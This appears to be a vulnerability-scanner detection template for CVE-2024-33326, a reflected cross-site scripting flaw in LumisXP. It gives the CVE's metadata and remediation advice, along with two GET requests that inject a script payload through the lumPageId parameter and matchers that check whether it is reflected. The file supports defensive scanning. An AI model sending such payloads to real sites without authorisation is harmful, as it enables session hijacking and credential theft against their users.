id: CVE-2024-33326

info:
  name: LumisXP - Cross-site Scripting
  author: 0xr2r
  severity: medium
  description: |
    A cross-site scripting (XSS) vulnerability in the XsltResultControllerHtml.jsp component of LumisXP v15.0.x to v16.1.x allows attackers to execute arbitrary web scripts or HTML via the lumPageID parameter.
  impact: |
    Successful exploitation allows attackers to execute arbitrary JavaScript in the victim's browser, potentially leading to session hijacking, credential theft, or defacement.
  remediation: |
    Apply security patches or upgrade to a version that addresses this XSS vulnerability. Implement proper input validation and output encoding.
  reference:
    - https://gist.github.com/rodnt/51ae2897abfff1bdcedccf72edbf3d24
    - https://seclists.org/fulldisclosure/2024/Jul/10
    - https://nvd.nist.gov/vuln/detail/CVE-2024-33326
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-33326
    epss-score: 0.0081
    epss-percentile: 0.54124
    cwe-id: CWE-79
    cpe: cpe:2.3:a:lumis:lumis_experience_platform:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lumis
    product: lumis_experience_platform
  tags: cve,cve2024,xss,lumis,lumisxp,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/portal/XsltResultControllerHtml.jsp?xslContent=&interfaceInstanceId=&lumPageId=<script>confirm(document.domain)</script>&xslContentFilePath="
      - "{{BaseURL}}/XsltResultControllerHtml.jsp?xslContent=&interfaceInstanceId=&lumPageId=<script>confirm(document.domain)</script>&xslContentFilePath="

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<script>confirm(document.domain)</script>")'
          - 'contains(content_type, "text/html") && contains(set_cookie, "lum")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100c826d59a4d29d0a90acc7940e16361025d3b79a0edf0df044cf8b3e1661f4c9a0220289ae8e5471a988774fcc22e0657d7d51ed7c6ba799d761e376ba6b6d60748f8:922c64590222798bb761d5b6d8e72950